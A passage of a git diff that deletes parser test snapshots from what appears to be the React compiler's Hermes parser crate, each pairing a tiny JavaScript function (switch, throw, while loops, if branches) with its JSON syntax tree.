-                          },
-                          "loc": null,
-                          "range": [
-                            76,
-                            81
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          76,
-                          82
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      68,
-                      88
-                    ]
-                  },
-                  "alternate": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              102,
-                              103
-                            ]
-                          },
-                          "right": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              106,
-                              107
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            102,
-                            107
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          102,
-                          108
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      94,
-                      114
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    58,
-                    114
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      119,
-                      120
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    119,
-                    121
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                52,
-                125
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "BooleanLiteral",
-                    "value": true,
-                    "loc": null,
-                    "range": [
-                      141,
-                      145
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              155,
-                              156
-                            ]
-                          },
-                          "right": {
-                            "type": "Identifier",
-                            "name": "c",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              159,
-                              160
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            155,
-                            160
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          155,
-                          161
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      147,
-                      167
-                    ]
-                  },
-                  "alternate": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              181,
-                              182
-                            ]
-                          },
-                          "right": {
-                            "type": "Identifier",
-                            "name": "d",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              185,
-                              186
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            181,
-                            186
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          181,
-                          187
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      173,
-                      193
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    137,
-                    193
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      198,
-                      199
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    198,
-                    200
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                131,
-                204
-              ]
-            },
-            "loc": null,
-            "range": [
-              42,
-              204
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          285
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        285
-      ],
-      "loc": null,
-      "range": [
-        0,
-        285
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    285
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-simple-phi.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-simple-phi.js.snap
deleted file mode 100644
index dffdcca5b46b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-simple-phi.js.snap
+++ /dev/null
@@ -1,274 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-simple-phi.js
----
-Input:
-function foo() {
-  let y = 2;
-
-  if (y > 1) {
-    y = 1;
-  } else {
-    y = 2;
-  }
-
-  let x = y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  28
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              29
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  37,
-                  38
-                ]
-              },
-              "operator": ">",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 1.0,
-                "loc": null,
-                "range": [
-                  41,
-                  42
-                ]
-              },
-              "loc": null,
-              "range": [
-                37,
-                42
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        50,
-                        51
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        54,
-                        55
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      50,
-                      55
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    50,
-                    56
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                44,
-                60
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        72,
-                        73
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        76,
-                        77
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      72,
-                      77
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    72,
-                    78
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                66,
-                82
-              ]
-            },
-            "loc": null,
-            "range": [
-              33,
-              82
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    90,
-                    91
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    94,
-                    95
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  90,
-                  95
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              86,
-              96
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          98
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        98
-      ],
-      "loc": null,
-      "range": [
-        0,
-        98
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    98
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-simple.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-simple.js.snap
deleted file mode 100644
index 4bdfd68aa571..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-simple.js.snap
+++ /dev/null
@@ -1,136 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-simple.js
----
-Input:
-function foo() {
-  let x = 1;
-  let y = 2;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  28
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              29
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    40,
-                    41
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  41
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              32,
-              42
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          44
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        44
-      ],
-      "loc": null,
-      "range": [
-        0,
-        44
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    44
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-single-if.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-single-if.js.snap
deleted file mode 100644
index 03b56b4b4729..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-single-if.js.snap
+++ /dev/null
@@ -1,227 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-single-if.js
----
-Input:
-function foo() {
-  let x = 1;
-  let y = 2;
-
-  if (y) {
-    let z = x + y;
-  }
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  28
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              29
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    40,
-                    41
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  41
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              32,
-              42
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                50,
-                51
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          63,
-                          64
-                        ]
-                      },
-                      "init": {
-                        "type": "BinaryExpression",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            67,
-                            68
-                          ]
-                        },
-                        "operator": "+",
-                        "right": {
-                          "type": "Identifier",
-                          "name": "y",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            71,
-                            72
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          67,
-                          72
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        63,
-                        72
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    59,
-                    73
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                53,
-                77
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              46,
-              77
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          79
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        79
-      ],
-      "loc": null,
-      "range": [
-        0,
-        79
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    79
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-switch.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-switch.js.snap
deleted file mode 100644
index 84eb289205cc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-switch.js.snap
+++ /dev/null
@@ -1,437 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-switch.js
----
-Input:
-function foo() {
-  let x = 1;
-
-  switch (x) {
-    case 1: {
-      x = x + 1;
-      break;
-    }
-    case 2: {
-      x = x + 2;
-      break;
-    }
-    default: {
-      x = x + 3;
-    }
-  }
-
-  let y = x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  28
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              29
-            ]
-          },
-          {
-            "type": "SwitchStatement",
-            "discriminant": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                41,
-                42
-              ]
-            },
-            "cases": [
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    55,
-                    56
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              66,
-                              67
-                            ]
-                          },
-                          "right": {
-                            "type": "BinaryExpression",
-                            "left": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                70,
-                                71
-                              ]
-                            },
-                            "operator": "+",
-                            "right": {
-                              "type": "NumericLiteral",
-                              "value": 1.0,
-                              "loc": null,
-                              "range": [
-                                74,
-                                75
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              70,
-                              75
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            66,
-                            75
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          66,
-                          76
-                        ]
-                      },
-                      {
-                        "type": "BreakStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          83,
-                          89
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      58,
-                      95
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  50,
-                  95
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    105,
-                    106
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              116,
-                              117
-                            ]
-                          },
-                          "right": {
-                            "type": "BinaryExpression",
-                            "left": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                120,
-                                121
-                              ]
-                            },
-                            "operator": "+",
-                            "right": {
-                              "type": "NumericLiteral",
-                              "value": 2.0,
-                              "loc": null,
-                              "range": [
-                                124,
-                                125
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              120,
-                              125
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            116,
-                            125
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          116,
-                          126
-                        ]
-                      },
-                      {
-                        "type": "BreakStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          133,
-                          139
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      108,
-                      145
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  100,
-                  145
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": null,
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              167,
-                              168
-                            ]
-                          },
-                          "right": {
-                            "type": "BinaryExpression",
-                            "left": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                171,
-                                172
-                              ]
-                            },
-                            "operator": "+",
-                            "right": {
-                              "type": "NumericLiteral",
-                              "value": 3.0,
-                              "loc": null,
-                              "range": [
-                                175,
-                                176
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              171,
-                              176
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            167,
-                            176
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          167,
-                          177
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      159,
-                      183
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  150,
-                  183
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              33,
-              187
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    195,
-                    196
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    199,
-                    200
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  195,
-                  200
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              191,
-              201
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          203
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        203
-      ],
-      "loc": null,
-      "range": [
-        0,
-        203
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    203
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-throw.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-throw.js.snap
deleted file mode 100644
index 07b644b72c0e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-throw.js.snap
+++ /dev/null
@@ -1,203 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-throw.js
----
-Input:
-function foo() {
-  let x = 1;
-  if (x === 1) {
-    x = 2;
-  }
-  throw x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  28
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              29
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  36,
-                  37
-                ]
-              },
-              "operator": "===",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 1.0,
-                "loc": null,
-                "range": [
-                  42,
-                  43
-                ]
-              },
-              "loc": null,
-              "range": [
-                36,
-                43
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        51,
-                        52
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        55,
-                        56
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      51,
-                      56
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    51,
-                    57
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                45,
-                61
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              32,
-              61
-            ]
-          },
-          {
-            "type": "ThrowStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                70,
-                71
-              ]
-            },
-            "loc": null,
-            "range": [
-              64,
-              72
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          74
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        74
-      ],
-      "loc": null,
-      "range": [
-        0,
-        74
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    74
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-while-no-reassign.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-while-no-reassign.js.snap
deleted file mode 100644
index 9113ec3d6793..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-while-no-reassign.js.snap
+++ /dev/null
@@ -1,203 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-while-no-reassign.js
----
-Input:
-function foo() {
-  let x = 1;
-  while (x < 10) {
-    x + 1;
-  }
-
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  28
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              29
-            ]
-          },
-          {
-            "type": "WhileStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  39,
-                  40
-                ]
-              },
-              "operator": "<",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 10.0,
-                "loc": null,
-                "range": [
-                  43,
-                  45
-                ]
-              },
-              "loc": null,
-              "range": [
-                39,
-                45
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "BinaryExpression",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        53,
-                        54
-                      ]
-                    },
-                    "operator": "+",
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        57,
-                        58
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      53,
-                      58
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    53,
-                    59
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                47,
-                63
-              ]
-            },
-            "loc": null,
-            "range": [
-              32,
-              63
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                74,
-                75
-              ]
-            },
-            "loc": null,
-            "range": [
-              67,
-              76
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          78
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        78
-      ],
-      "loc": null,
-      "range": [
-        0,
-        78
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    78
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-while.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-while.js.snap
deleted file mode 100644
index b8826fb96da9..000000000000
